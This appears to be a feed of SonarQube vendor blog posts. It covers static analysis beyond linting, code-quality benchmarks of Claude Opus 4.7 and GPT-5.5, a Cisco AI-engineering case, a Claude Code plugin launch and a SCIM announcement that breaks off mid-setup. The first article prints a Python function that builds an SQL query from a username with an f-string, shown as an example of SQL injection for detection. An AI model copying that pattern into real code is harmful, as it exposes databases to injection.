A multilayered code verification engine like SonarQube operates at this mathematical reasoning level, covering issues from syntactic pattern matching through control flow, data flow, and taint analysis, in a single integrated platform. A team adopting it gets linting as one layer within a much deeper stack.

This allows development teams to address a range of critical security, maintainability, and reliability issues that would otherwise be missed.

Three key risk vectors that linters miss:

1. Deep bugs and vulnerabilities that syntax cannot reveal

Static analysis is a spectrum. Linting occupies the first level. Each level beyond it exists because there are real, consequential categories of bugs that the previous level cannot detect.

Control flow analysis

Consider a function where one branch initializes a database connection and another does not, but both paths later attempt to use that connection. Or a function where a condition is always true, making an entire else branch dead code that silently hides the logic it was supposed to provide. A linter sees individual statements. It does not model the relationships between them.

Detecting these requires constructing a control-flow graph (CFG), a directed graph of every possible execution path through a function. That means every branch, loop, exception handler, and early return. The analysis engine walks each path to determine whether variables are initialized before use, whether conditions are satisfiable, and whether all branches are reachable. A CFG answers a question linting cannot: “what can this code actually do?”

AI-generated code is particularly prone to these issues. AI coding tools frequently generate redundant guard clauses, impossible condition combinations, and dead branches that look plausible but never execute. The code reads well. It just does not behave as expected.

Data flow analysis

A more dangerous category of bug emerges when the problem is not about which paths execute, but about what data does as it moves through them. Consider a function that receives a user object, extracts the user’s role, passes it through a formatting function, then uses it to construct a file path. Is the role validated before it reaches the file system call? The answer depends on tracing the value across multiple assignments and function boundaries.

This is data flow analysis: constructing a data-flow graph (DFG) that models how values are assigned, transformed, and consumed across functions, files, and modules. Without it, you cannot determine whether a null can propagate from a failed database lookup to a crash three function calls later, or whether two concurrent code paths are operating on stale vs. fresh copies of the same data. These bugs cause production incidents, and they are invisible at the AST level because the syntax at every individual point is perfectly valid.

Taint analysis

Taint analysis applies data flow reasoning specifically to security. The engine identifies sources (places where untrusted data enters: HTTP parameters, file contents, environment variables) and sinks (places where data is consumed dangerously: SQL queries, shell commands, file system operations). It then applies graph reachability algorithms to determine whether any execution path connects a source to a sink without passing through an adequate sanitizer. This is mathematical reasoning in the formal sense—the codebase is modeled as a graph, and properties of that graph are computed and checked against security conditions. The question is not “does this line look dangerous?” but “can untrusted data reach this dangerous operation through any sequence of calls?”

Consider this Python function, exactly the kind of code an AI assistant might generate:

def get_user_profile(username: str) -> dict:
    query = f"SELECT * FROM users WHERE username = '{username}'"
    return db.execute(query).fetchone()

A linter finds nothing wrong. The syntax is valid, the type hint is present, the f-string is well formed. SonarQube identifies username as a taint source (external input), traces it through the f-string interpolation into db.execute() (a SQL sink), determines no parameterization or sanitization occurs on that path, and raises a confirmed SQL injection vulnerability.

This example is simple enough that an experienced reviewer might catch it. Real taint flows are not. In a documented analysis of the OpenAPI Generator project, SonarQube traced a taint flow that propagated user-controlled data through 28 distinct steps across multiple files before reaching a dangerous file system operation, leading to the discovery of CVE-2024-35219, an arbitrary file read and deletion vulnerability rated CVSS 8.3. No linter rule, and no practical code review process, would catch a 28-step cross-file taint flow. It requires graph traversal across a model of the full program.

The scale of the problem is quantifiable. A Carnegie Mellon University study (Zhao et al., 2025) benchmarked an AI coding agent on 200 real-world feature request tasks drawn from open-source projects. Although 61 percent of the agent’s solutions were functionally correct, only 10.5 percent were secure. Roughly 80 percent of solutions that passed behavioral tests still failed security tests, with common failures including timing side-channels in authentication checks and redirect vulnerabilities that allowed header manipulation. Functional correctness and security are not correlated: code that works is not necessarily code that is safe. AI-generated code passes linting reliably. The vulnerabilities it introduces are semantic, not syntactic. Mathematical reasoning over a program model is designed to catch them.

Even at the syntactic and semantic levels where linters also operate, SonarQube’s analysis covers categories that typical linters do not target: null pointer dereference detection, resource leak detection (file handles, database connections, or streams never closed on all execution paths), exception handling anti-patterns (swallowed exceptions, overly broad catch blocks), and redundant logic detection (identical if/else branches, conditions that are always true). These are the bugs that cause production incidents, and detecting them requires reasoning about program behavior, not just program structure.

2. Supply chain security in an agent-centric development world

The second risk vector is not in the code a team writes, but in the code it imports. AI assistants routinely suggest dependencies. Agents install them autonomously. The supply chain attack surface has expanded accordingly, and the trend is accelerating.

Malicious packages on PyPI and npm are no longer rare occurrences. Typosquatting campaigns, dependency confusion attacks, and packages that exfiltrate credentials on install have become a persistent feature of the ecosystem. In March 2026 alone, attackers compromised the Axios npm package (over 100 million weekly downloads) through social engineering of its lead maintainer, publishing versions that installed a remote access trojan. Days earlier, the LiteLLM AI infrastructure library on PyPI was compromised through a poisoned CI/CD pipeline, exfiltrating cloud credentials from every environment where the package was installed. An AI assistant that suggests the wrong package name, or an agent that resolves a dependency to a malicious fork, introduces a vulnerability that no amount of source code analysis will catch by examining the project’s own code alone. The problem is not in the code you write. It is in the code you trust.

SonarQube Advanced Security addresses this with several capabilities that operate at different points in the supply chain. Malicious package detection, drawing on the Open Source Security Foundation (OSSF) Malicious Packages dataset, raises blocker-level alerts when a known malicious package appears in a project’s dependency tree on PyPI and npm. Software composition analysis (SCA) maps dependencies to known CVEs, surfacing vulnerability information directly in the IDE and CI pipeline so developers see the risk at the point of decision rather than in a separate security report weeks later. For organizations subject to compliance requirements like the EU Cyber Resilience Act or US executive orders on software supply chain security, SCA also provides the foundation for generating a Software Bill of Materials (SBOM) — an increasingly mandatory inventory of every component in a deployed system.

SonarQube’s secrets detection covers more than 450 patterns for API keys, tokens, and credentials, the kind of sensitive data that agents are particularly prone to hardcoding. The SonarQube CLI, designed to run as a pre-commit hook, catches leaked credentials before they ever enter version control. For organizations managing incident response, this shifts the timeline from “discovered in a scan after merge” to “blocked before commit.”

This matters because agent-centric development compresses the window between “dependency added” and “code deployed.” When a human developer adds a dependency, there is typically a moment of judgment to determine whether the package is trustworthy. When an agent adds one as part of a larger autonomous task, that judgment step may not exist. The verification has to be automated, and it has to operate at the dependency level, not just the source level.

3. Architectural sanity and the compounding cost of AI slop

The third risk vector is the most insidious because it does not announce itself as a bug or a vulnerability. It announces itself as a codebase that gradually becomes more complex and harder to work with until agents themselves start failing.

Today, AI assistants are stateless across files and sessions. They regenerate similar logic independently in different parts of a codebase, producing near-duplicate implementations with subtle behavioral differences. They introduce dependencies between modules designed to be independent, generating deeply nested control flow that passes lint checks but is impossible to safely maintain. Researchers in the AI code quality space describe the result as “comprehension debt” (code that works but cannot be understood) and “context debt” (implementations that ignore existing patterns because the assistant lacked awareness of them).

The pattern is familiar to teams that have adopted agents. Even if the first 80 percent of a task gets done quickly, the mess of architectural inconsistencies and compounding technical debt starts surfacing shortly after. Agents enter loops of fixing one thing and breaking another, a form of whack-a-mole where each fix introduces a new inconsistency. A 2026 benchmark study (SlopCodeBench) formalized this by testing 11 coding agents on iterative development tasks where specifications evolve over time, the way real software actually works. Quality degraded in 80 percent of trajectories. Agent-generated code was 2.2 times more verbose than human code. No agent solved any problem end-to-end. The root cause is that no verification of structural quality happened along the way. By the time the decay is visible, unwinding it is expensive.

SonarQube addresses this at multiple levels. Cognitive complexity scoring, calibrated to human readability rather than cyclomatic complexity, flags functions that have become too complex to safely modify. Token-level duplication detection across all projects catches the near-duplicate implementations that agents produce, even when variable names differ. The technical debt ratio (TDR) expresses remediation cost as a percentage of development cost, making invisible decay visible and quantifiable.

The most direct answer to architectural drift is SonarQube’s architecture management capability. This feature allows teams to define their intended architecture as code: specifying components and the allowed dependencies between them. SonarQube reverse-engineers the actual component relationships from the codebase and detects violations, places where the code has drifted from the intended design. These violations surface as maintainability issues in quality gates, meaning architectural drift blocks a pull request the same way a vulnerability would. The feature currently supports Java, JavaScript, TypeScript, Python, and C#.

This is particularly valuable in agentic workflows. An agent modifying 20 files has no awareness of architectural boundaries unless those boundaries are enforced programmatically. Architecture-as-code makes the intended structure machine-readable and verifiable at each step of an agent’s work, not just at the end. The alternative is discovering after hundreds of agent-generated commits that the module boundaries have dissolved into a monolith that no agent or human can safely modify.

Quality gates tie all of these capabilities together operationally. A gate defines conditions that must pass before a pull request can merge: zero new vulnerabilities, zero unreviewed security hotspots, no architectural violations, duplication below a threshold. Teams make deliberate decisions about existing issues while ensuring new code meets their defined standard. In an agentic workflow, the quality gate is the automated reviewer that does not lose focus after the fourteenth file change.

The core distinction

Linters and multilayered verification engines are not competing for the same job. A linter is the right tool for syntactic quality: fast feedback on formatting, style, and obvious anti-patterns. It is fast precisely because it does not build a model of program execution. It is limited for the same reason. It is a necessary first layer, but not complete.

AI-assisted and agent centric development has shifted the risk along three vectors that linting cannot reach. The bugs are deeper: semantic vulnerabilities that span files and functions, invisible at the syntax level, detectable only through mathematical reasoning over program graphs. The attack surface is wider: supply chain threats from malicious packages, leaked secrets, and vulnerable dependencies that agents introduce without human judgment. The structural decay is faster: architectural drift, compounding duplication, and complexity that accumulates at generation speed until the codebase resists further modification.

Whether that depth of analysis is necessary depends on your codebase, your team, and your risk tolerance. For teams deploying AI tools in production systems at scale, the question is no longer whether linting is enough. It is how quickly the gaps become visible.

Claude Opus 4.7: An evaluation review & metrics benchmarks

Prasenjit Sarkar — Mon, 27 Apr 2026 15:00:00 GMT

TL;DR overview

Claude Opus 4.7 is Anthropic's flagship model, delivering 40% more concise code than version 4.6.
Evaluation shows an 82.52% functional pass rate with significantly improved production-critical blocker bug density.
High cognitive complexity and a 290 per mLOC vulnerability density require rigorous security reviews.
Focus verification on increased cryptography misconfigurations and hard-coded credentials to ensure safe AI-generated code.

Claude Opus 4.7 is Anthropic's latest flagship model. Using our proprietary LLM code quality and security evaluation framework, we discovered the new model delivers a clear efficiency improvement: 40% less code for the same functional pass rate as Opus 4.6 Thinking. That's what the data says at first glance. However, upon a closer look, the picture shifts.

What was measured

Model: Claude Opus 4.7 (Adaptive Thinking mode)

Language: Java

Benchmark: 4,444 tasks (HumanEval, MBPP, ComplexCodeEval)

Analyzer: SonarQube systematic code analysis. Density metrics are per 1,000 lines of code (kLOC); category breakdowns are per million lines (MLOC)

Two important terms to define before getting into the results:

Cyclomatic complexity: Counts independent paths through a function.
Cognitive complexity: This SonarQube metric weights nested and deeply branched logic more heavily, reflecting how difficult the code is for a human to read.

Neither metric captures correctness. Both correlate with how long review and testing take.

Key metrics at a glance

Metric	Opus 4.7 Thinking
Lines of code (total)	336,283
Comments (% of LOC)	3.8%
Cyclomatic complexity per kLOC	240.63
Cognitive complexity per kLOC	171.22
Bug density per mLOC	800
Vulnerability density per mLOC	290
Code smell density per kLOC	23.01
Overall issue density per kLOC	24.10
Functional skill (pass rate)	82.52%
Missing completions	0.45%

Volume and style

Claude Opus 4.7 produced 336,283 lines of code across 4,444 tasks. For the same tasks, Opus 4.6 Thinking produced 566,389 lines. Opus 4.7 produces 40% fewer lines for the same work. The functional pass rates are 82.52% and 82.55%. Same pass rate on the same tasks, fewer lines of code.

Comments dropped to 3.8% of the output, down from 8.2% in Opus 4.6. The code is more compact and less annotated. If you're maintaining this code past the immediate task, you'll have less inline context to work from.

Complexity

Cognitive complexity per kLOC is 171.22 and cyclomatic complexity for Opus 4.7 is 240.63. Cognitive complexity is higher than Opus 4.6 Thinking's 132.1 per kLOC. The code is shorter but denser—more branching logic and nested control flow per thousand lines. When models write less code, they often pack more logic per line. Reviewing each line takes more effort, even though there are fewer total lines. Combined with a comment density of just 3.8%, independent and deterministic code reviews become more important than ever.

Bug density and severity

Bug density is 0.80 per kLOC. Severity breakdown per million lines:

Severity	Per MLOC
Blocker	74
Critical	48
Major	369
Minor	324

Blocker bugs are at 74 per MLOC, down from 83 in Opus 4.6. Critical bugs held at 48 per MLOC. These are the two levels that cause production fires, and both improved.

Concurrency and threading bugs are at 131 per MLOC, tied with exception handling as the largest bug category in this evaluation. The rate is lower than Claude Opus 4.6's 157 per MLOC, but concurrent patterns remain the dominant area of risk.

Bug category	Per MLOC
Concurrency / threading	131
Resource / stream leaks	131
Exception handling	101
Type safety / casts	68

Concurrency bugs are expensive. They're hard to reproduce in testing, tend to be environment-dependent, and can produce intermittent failures that take significant time to diagnose. The rate here is better than the prior generation, but it remains the dominant bug category to watch.

Vulnerability density and severity

Vulnerability density is 0.29 per kLOC. Severity breakdown per million lines:

Severity	Per MLOC
Blocker	113
Critical	80
Major	42
Minor	57

Blocker and critical vulnerabilities went up compared to Opus 4.6, which had 53 and 56 per MLOC respectively. This is where the model regressed. Specific vulnerability categories:

Vulnerability category	Per MLOC
Cryptography misconfiguration	57
Path traversal / injection	24
Hard-coded credentials	45
XML external entity (XXE)	39

Cryptography misconfigurations, which include weak algorithms, insecure key sizes, improper use of random number generators, are one of the more common failure modes in AI-generated code, and they show up here at 57 per MLOC. Path traversal and injection at 24 per MLOC is a category SonarQube catches reliably through data flow analysis. Hard-coded credentials are at 45 per MLOC, and XXE is at 39 per MLOC.

Maintainability signals

Code smell density is 23.01 per kLOC, driven primarily by collection and generics parameter type issues (3,565 per MLOC) and assignment, field, and scope visibility issues (2,132 per MLOC). These are cases where the model uses raw types instead of properly parameterized generics, or where field visibility is looser than it needs to be. In Java, these issues carry real cost: they suppress compiler warnings, make refactoring harder, and can mask bugs a properly typed implementation would catch at compile time.

The overall code smell number should be read alongside the comment density. At 3.8% comments across 336,000 lines, teams maintaining this code will find fewer signposts and more accumulated minor issues to address as the codebase ages.

Functional skill

The passing test rate for Opus 4.7 is 82.52%, with missing completions at 0.45%. The functional pass rate is essentially unchanged from Opus 4.6 82.55% — the generational update preserved functional capability. But 82.52% is also where verification earns its keep: roughly one in six generated solutions doesn't pass functional tests, and that rate isn't predictable in advance for any individual task. Testing pipelines catch what the model misses.

What this means for developer teams using Opus 4.7

The conciseness improvement is real. Roughly 40% less code for the same results means smaller review surfaces, faster iteration, and potentially lower token costs. Blocker bug density improved too, fewer issues that caused immediate production failures, continuing a positive trend from Opus 4.6.

The areas requiring active management are structural. Denser code, fewer comments, and higher per-line cognitive complexity raise the per-task cost of human review, even as total line count drops. The net review burden depends on how a team manages that tradeoff.

The vulnerability picture is the one that most deserves attention. Opus 4.7 ships fewer bugs than Opus 4.6, but more vulnerabilities, in a denser codebase with fewer comments. Fewer lines does not mean less security risk. The jump in blocker and critical vulnerabilities means security review cannot be treated as a checkbox. Systematic multilayered code analysis tools in your development pipeline, catching path traversal, cryptography misconfigurations, and hard-coded credentials at generation time, are the practical way to address this without adding manual review time.

Three takeaways:

Conciseness is the headline improvement. Roughly 40% fewer lines for the same functional pass rate means smaller review surfaces and potentially lower token costs. This is a meaningful efficiency gain.
Blocker bugs improved. The most production-critical bug category moved in the right direction, continuing the trend from Opus 4.6.
Vulnerability density increased. Blocker and critical vulnerabilities are higher than Opus 4.6, and that's where verification focus should land — particularly on cryptography, path traversal, and hard-coded credentials.

Opus 4.7 Thinking is a capable and more efficient code generator than its predecessor, and that finding does not remove the need for verification. It changes what verification should focus on as it requires closer review thanks to more compact code.

Opus 4.7 Thinking's full evaluation results, along with all other evaluated models, are available on the Sonar LLM Leaderboard.

OpenAI GPT-5.5: An evaluation

Prasenjit Sarkar — Thu, 23 Apr 2026 15:00:00 GMT

TL;DR overview

OpenAI’s latest model, GPT-5.5, delivers some of the strongest security metrics we have analyzed to date.
Security is a definitive strength for GPT-5.5, featuring a low vulnerability density of 75 per mLOC.
With a flat distribution across all severity levels, the model proves it isn't just avoiding simple catches.
Concurrency remains a challenge across LLMs, as threading bugs at around 170 per mLOC dominate the overall profile.
Verification debt compounds as high-volume, complex outputs outpace manual review, shifting the burden of proof to engineering.

GPT-5.5 is the latest model from OpenAI, and it delivers huge improvements in a key area: security. In fact, its security numbers are some of the best we’ve seen. Vulnerability density is low, consistent across runs, and flat across severity levels. That's the headline. But, as with all models, there’s a more nuanced, complex story when we dig below the surface.

We ran GPT-5.5 through Sonar's LLM evaluation framework, which is designed to measure LLM-generated code against the same rules as a developer-written codebase.

What was measured

Model: GPT-5.5

Language: Java

Benchmark: 4,444 tasks

Runs: 10 independent runs at temperature=1.0, reasoning_effort=medium

Analyzer: SonarQube systematic code analysis. Density metrics are per 1,000 lines of code (kLOC); category breakdowns are per million lines (mLOC).

There are two important terms to define before diving into the results:

Cyclomatic complexity: Counts independent paths through a function.
Cognitive complexity: This SonarQube metric weights nested and deeply branched logic more heavily, reflecting how difficult the code is for a human to read.

Neither metric captures correctness. Both correlate with how long review and testing take.

Key metrics at a glance

Metric	GPT-5.5
Lines of code (total)	703,324
Comments (% of LOC)	2.0%
Cyclomatic complexity per kLOC	251.1
Cognitive complexity per kLOC	151.8
Bug density per mLOC	520
Vulnerability density per mLOC	75
Code smell density per kLOC	17.1
Overall issue density per kLOC	17.7
Functional skill (pass rate)	78.7%
Missing completions	0.18%

Volume and style

Across the 4,444-task benchmark, GPT-5.5 generated 703,324 lines of code and only 2% of that output is comments. In practical terms, for every 100 lines a developer opens in review, roughly two contain any explanation. Comments are not strictly necessary for explanation, if functions and variables are named well this is also sufficient. That ratio compounds with the output volume—more code and less documentation means more cognitive load on anyone touching that code after generation.

Complexity

Cognitive complexity is 151.8 per kLOC and cyclomatic complexity is 251.1 per kLOC. Cognitive complexity, as measured by SonarQube, tracks how difficult it is for a human to understand a piece of code. It penalizes nested conditionals, loops inside loops, and branching logic where a reader has to hold multiple states in their head. Code with high cognitive complexity is harder to review accurately, harder to write good tests for, and harder to modify without introducing new bugs.

700,000 lines of elevated complexity, with minimal comments, create a review surface where errors are easier to miss. Independent and deterministic code reviews become more important than ever.

Bug density and severity

Overall bug density is 0.52 per kLOC. The chart below details the severity distribution.

Severity	Per MLOC
Blocker	43
Critical	26
Major	232
Minor	220

Blockers and criticals are low (43 and 26 per million lines)and that's what matters most for production stability. But there's a long tail of major and minor issues: 232 and 220 per million lines that don't cause immediate failures but accumulate into technical debt, slow down future changes, and occasionally surface as bugs once the codebase evolves. At GPT-5.5’s output volume, that adds up quickly.

The one category worth calling out is concurrency and threading bugs, at 170 per mLOC. That's substantially higher than any other bug category, as evidenced in the chart below.

Bug category	Per MLOC
Concurrency / threading	170
Resource / stream leaks	67
Exception handling	54
Type safety / casts	27

Concurrency bugs are expensive. They're hard to reproduce in testing, tend to be environment dependent, and can produce intermittent failures requiring significant time to diagnose. The elevated rate here is consistent with a model that is generating more code and more concurrent patterns as part of that volume.

Vulnerability density and severity

Vulnerability density is 75 per mLOC. This is one of the cleaner security profiles we've seen. The severity breakdown holds up at every level, as seen in the chart below.

Severity	Per MLOC
Blocker	18
Critical	20
Major	15
Minor	22

The distribution is flat. Blockers and criticals aren't disproportionately high relative to major and minor, so the model isn't just avoiding trivially detectable issues while leaving deeper ones in place.

Top vulnerability categories shown below (covering roughly 43% of total vulnerabilities; the balance spreads across smaller categories).

Vulnerability category	Per MLOC
Cryptography misconfiguration	17
Path traversal / injection	7
XML external entity (XXE)	8

Cryptography misconfigurations—weak algorithms, insecure key sizes, improper use of random number generators—are one of the more common failure modes in AI-generated code. But at 17 per mLOC, GPT-5.5 keeps that category manageable with automated detection. Path traversal and injection is particularly low at 7 per mLOC. Security is a clear strength, and the consistency of the numbers makes that credible.

Maintainability signals

Code smell density is 17.1 per kLOC, driven primarily by collection and generics parameter type issues. Cases where the model uses raw types instead of properly parameterized generics, or where collection handling bypasses type safety in ways that don't cause immediate failures but create technical friction over time. In Java, these issues carry real cost: they suppress compiler warnings, make refactoring harder, and can mask bugs a properly typed implementation would catch at compile time.

The overall code smell number is not trivial, but it should be read alongside the output volume. A density of 17.1 per kLOC across 700,000 lines is a larger absolute number than the same density across a more concise output. Combined with comment density of 2%, teams maintaining this code will find fewer signposts and more accumulated minor issues to address as the codebase ages.

Functional skill

The passing test rate is 78.7%, with missing completions at just 0.18%, which means the model completes tasks reliably. But the 78.7% pass rate is where verification earns its keep: more than one in five generated solutions doesn't pass functional tests, and that rate isn't predictable in advance for any individual task. Code review and testing pipelines catch what the model misses.

What this means for developer teams using GPT-5.5

GPT-5.5's security numbers are lower, stable, and flat across severity levels. For teams where security is a primary acceptance criterion for AI generated code, those numbers matter.

The areas requiring active management are more structural than any specific bug type. The number of lines of code is large, the comments are sparse, and the cognitive complexity is elevated. Those three factors together raise the per-task cost of human review.

If the code being generated is concurrent by nature, build in the assumption from the start that threading issues will need to be caught at the testing and analysis stage, not the generation stage. The model generates them at a higher rate than other bug categories, and they aren't reliably visible in code review alone.

Three takeaways:

Security is GPT-5.5's clear strength. Vulnerability density is 0.075 per kLOC and the distribution is flat across severity, meaning the model is not just avoiding easy findings.
Concurrency is a weak spot. Threading bugs at 170 per mLOC dominate the bug profile.
Volume, sparse comments, and elevated cognitive complexity shift verification cost onto the team. This is verification debt in practice: the model generates faster than an unaided team can verify, and the verification gap is where issues land.

GPT-5.5 is a very capable code generator with a strong security profile, and that finding does not remove the need for verification—rather, it changes what verification should focus on.

GPT-5.5’s full evaluation results, along with all other evaluated models are available on the Sonar LLM Leaderboard.

AI-First Engineering: How Cisco Reached Tech Debt Zero

Marissa Naab — Tue, 21 Apr 2026 15:00:00 GMT

TL;DR overview

AI-first engineering at Cisco uses autonomous agents and SonarQube to eliminate large-scale technical debt.
A three-month pilot program successfully cleared 27,000 technical debt issues, boosting productivity up to 3x.
The autonomous agent "Coda" independently resolves Jira stories by patching code and generating pull requests.
Cisco ensures code quality at scale through a structured investigate, plan, and implement verification loop.

Cisco has overhauled its internal engineering strategy, rebranding its core productivity units to "AI-first engineering" and deploying autonomous agents to eliminate tens of thousands of technical debt issues across its massive developer landscape.

Speaking at the Sonar Summit 2026, Cisco’s Distinguished Engineer of AI-First Engineering Stephen Byrnes revealed how the networking giant is moving beyond simple copilot assistants toward an agentic SDLC capable of maintaining rigorous standards for thousands of developers.

The shift to AI-first engineering

The organizational shift began 18 months ago when Cisco’s Engineering Productivity team realized that AI was no longer a peripheral tool, but the cornerstone of their roadmap.

"It didn't take long, as we were seeing these models and tools improving, that we decided this is the centerpiece of the strategy. That’s when we basically rebadged the team to be called ‘AI-first engineering’." - Stephen Byrnes, Distinguished Engineer at Cisco

This wasn't just a change in name. Cisco established internal guilds that now attract over 500 engineers monthly and a Webex community of 4,000 members sharing real-time AI breakthroughs. The goal was to move quality from table stakes—something everyone knew they had to do—to an engineering accelerator.

Eliminating 27,000 tech debt issues in three months

One of the most striking outcomes of this transformation was a pilot program aimed at tech debt zero. By rotating an AI-specialized engineer into a high-priority partner program, Cisco was able to align SonarQube’s telemetry with AI coding assistants.

The results were immediate: the team cleared roughly 27,000 technical debt issues in a single three-month window.

"We're not just keeping quality high, but we're actually able to go faster because we've cleared a lot of that tech debt that's been there for some time." - Stephen Byrnes, Distinguished Engineer at Cisco

Byrnes noted that some teams are seeing productivity gains of up to 3x by using these automated cleanup workflows.

Meet Coda: The autonomous teammate

Central to Cisco's strategy is Coda, a custom-built autonomous agent that Byrnes describes not as a tool, but as a remote employee.

Unlike standard IDE plugins that wait for a human to type, Coda operates as a full user within Cisco’s Jira environment. A developer can assign a Jira story to Coda, directing it to a specific SonarQube instance and repository.

"Coda will wake up, go to SonarQube, pull out all the details of that particular incident, develop a plan, and start working away like a normal human staff member." - Stephen Byrnes, Distinguished Engineer at Cisco

The agent handles the slog—patching, upgrading dependencies, and fixing code quality issues—before generating a pull request (PR) for human review. This shift allows Cisco’s high-cost tech talent to focus on architectural design rather than syntax-level maintenance.

AI engineering verification at scale

As code volume increases due to AI generation, Cisco is leaning on a trust and verification layer to prevent a productivity paradox where humans are overwhelmed by PR reviews.

The company's current workflow follows a structured investigate → plan → implement loop:

Investigate: Agent is fed context from SonarQube issues and API documentation.
Plan: The agent produces a markdown document detailing the fix and verification checks.
Implement: A fresh agent session executes the plan, ensuring no new quality issues are introduced.

"AI does make it easier to deliver additional velocity, but if you just focused on AI engineering and not the rest, you probably would see quality going down. You’ve got to work on all those parts together." - Stephen Byrnes, Distinguished Engineer at Cisco

Byrnes concluded that the move to AI-native engineering is actually improving code hygiene, as agents require well-structured documentation and clean ReadMe files to be successful—the very things human developers often neglect.

Want to see the full technical breakdown of how Cisco achieved these results? Read the full Cisco Case Study here.

Now available: SonarQube plugin for Claude Code

Anirban Chatterjee — Thu, 16 Apr 2026 15:00:00 GMT

TLDR Overview

The Claude Code plugin for SonarQube, available today in the Anthropic marketplace, integrates SonarQube’s security and code quality analysis directly into the Claude Code terminal environment for real-time verification.
The plugin utilizes agentic analysis and MCP servers to scan for code smells and vulnerabilities, and blocks over 450 secret patterns before content enters the LLM context.
Developers use slash commands to check quality gate status, assess dependency risks, and review code coverage without switching to a browser.
This integration supports the Agent Centric Development Cycle (AC/DC), reducing reported AI-related outages by 44% through deterministic, inner-loop code verification.
With Anthropic’s announcement earlier today of Opus 4.7, this plugin arrives at the perfect time to enable developers to use SonarQube’s code verification capabilities alongside the new model.

What is the SonarQube plugin for Claude Code?

SonarQube’s Claude Code plugin packages skills, agents, hooks, and our MCP server to provide Claude with everything it needs in order to access SonarQube’s capabilities: the SonarQube CLI, SonarQube MCP Server, hooks for SonarQube Agentic Analysis, and secrets scanning. Once installed, Claude Code gains access to SonarQube’s code quality and security analysis without ever leaving the terminal. This means full language and rule coverage—code smells, duplication, complexity, and SAST across 40+ languages—governed by your existing quality profiles and gates. The Claude Code plugin is available today in the Anthropic marketplace, ready for use alongside today’s drop of Anthropic’s Opus 4.7 model.

How the plugin works

Slash commands let you query your SonarQube instance in real time, and allow you to check quality gate status, list open issues, review code coverage and duplication, assess dependency risks. Moreover, every file Claude reads and every prompt you enter is automatically scanned for over 450 secret patterns before the content enters the LLM's context window.

And for organizations with SonarQube Agentic Analysis enabled (in beta now for codebases in C#, Java, JavaScript, Python, and TypeScript), PostToolUse hooks run analysis after each file edit, catching issues as they're introduced. The result is that the “Verify” step of AC/DC is embedded directly after the “Generate” step. The feedback loop that used to require a CI pipeline and a context switch now happens in seconds within the inner loop of the agent, right where the software developer is working.

Why you should care

The way code gets written has changed more in the last six months than it did in the previous decade. But ^{velocity without code verification is just technical debt on a faster timeline}: Carnegie Mellon researchers studied a widely-used AI coding tool and found that it produced a persistent 30% increase in static code analysis warnings and a 41% rise in code complexity. Every engineering team now faces the same paradox: you need agentic speed to stay competitive, but you need rigorous code verification to stay safe. The Claude Code plugin is how Sonar solves this.

It's built around what we call the Agent Centric Development Cycle (AC/DC): Guide, Generate, Verify, and Solve. AC/DC is a framework for governing how AI agents write, check, and fix code in a continuous loop. The core insight is that because AI is non-deterministic, code verification has to be deterministic—and it has to happen inside the agent loop, not after the fact in CI.

Today's release of Claude Opus 4.7 sharpens the point. Anthropic's newest generally available model is purpose-built for harder, longer-running coding tasks, and it tries to verify its own outputs before completing its work. But that self-checking instinct is still non-deterministic: the model decides what to check and how. SonarQube provides verification that is deterministic and comprehensive, with full rule coverage using your defined quality gate, every time. The two approaches are complementary: Opus 4.7 raises the ceiling on what an agent can build and catch in a single session, and SonarQube ensures nothing ships that shouldn't.

^{The SonarQube plugin for Claude Code allows you to extend a platform your organization already trusts into the environment where code is increasingly being written, and developers who verify their code with SonarQube are 44% less likely to report experiencing outages due to AI code.}

Get started now

The plugin is available today on the Anthropic Plugin Marketplace. In Claude Code, run /plugin to open the plugin browser. Find sonarqube (under claude-plugins-official) in the Discover tab and install it. Then start a new session or reload so the plugin loads.

Run /sonarqube:integrate to walk through setup—CLI installation, authentication, and wiring up the MCP Server and hooks. Within minutes, every Claude Code session benefits from automated verification by SonarQube.

SonarQube is already a trusted AI governance tool for coding. The Claude Code plugin brings these strengths directly into the developer's agentic workflow. Try it on your next project: write code with Claude, and let SonarQube make sure it's code you can trust.

Announcing SCIM for automated user management, with SonarQube Cloud

Andrew Osborne — Tue, 14 Apr 2026 15:00:00 GMT

TLDR overview

SonarQube Cloud Enterprise now supports SCIM, enabling automated user and group provisioning through identity providers.
What it solves: Eliminates manual user management, closes security gaps when employees leave, and ensures new hires have access on day one.
Who it's for: SonarQube Cloud Enterprise customers using Entra ID, Okta, JumpCloud or any IdP that supports SCIM alongside SAML or OIDC.
How to get started: Register SonarQube Cloud as a SCIM-enabled app in your IdP, generate a bearer token in SonarQube Cloud's enterprise admin settings, and validate with a pilot group before rolling out broadly.

What is SCIM?

For many enterprises, manually managing who can access code is both a security risk and an operational challenge.

SCIM is an open standard that lets identity providers automatically create, update, and delete users in SaaS applicaations such as SonarQube Cloud.

Instead of manually managing developer access in SonarQube Cloud, your IdP pushes those changes automatically — your corporate directory and SonarQube Cloud stay in sync without anyone having to intervene.

With this GA, SonarQube Cloud Enterprise supports SCIM-based user lifecycle management, so security and platform teams can rely on their IdP as the single source of truth for who can access code and governance data in the cloud.

Why it matters

Eliminate “zombie accounts”

When an employee or contractor leaves, disabling them in the IdP now automatically revokes their access to SonarQube Cloud, terminates active sessions, and removes personal access tokens.

No manual offboarding step, no window where a former employee still has access to source code or reports.

Less work for IT and IAM teams

Creating users, assigning groups, cleaning up stale accounts — SCIM handles all of it at scale. IT and IAM teams maintain one central place to manage access, and the process doesn't depend on manual tickets or human follow-through for every hire or departure.

New hires can contribute on day one

New developers are provisioned and assigned to the right groups before their first login. No waiting for someone to manually grant permissions — they arrive in SonarQube Cloud ready to work.

How it works

SCIM for SonarQube Cloud handles the complete user lifecycle.

Onboarding: When you add a user or group in your IdP, SonarQube Cloud automatically creates the account and mirrors the group structure from your directory. New hires get the right access from the start.

Offboarding: When you remove or disable a user in your IdP, SonarQube Cloud immediately deactivates the account, ends active sessions, and revokes personal access tokens. The IdP is the authority — SonarQube Cloud follows without delay.

How to set it up

Prerequisites

SonarQube Cloud Enterprise plan
Microsoft Entra ID, Okta, JumpCloud, or any IdP that supports SCIM and either OIDC or SAML.

1. Configure SCIM in your IdP

Register SonarQube Cloud as a SCIM-enabled enterprise app in your IdP. You'll need the SCIM endpoint URL and bearer token from SonarQube Cloud — both are available in the enterprise administration area. Decide which users and groups should be managed via SCIM (for example, your engineering org or security teams).

2. Enable SCIM in SonarQube Cloud

As an enterprise admin, open the SCIM provisioning settings, generate a bearer token, and copy the SCIM endpoint URL into your IdP configuration. Before enabling broadly, define your rollout scope — a single team or region is a good starting point.

3. Validate with a pilot group

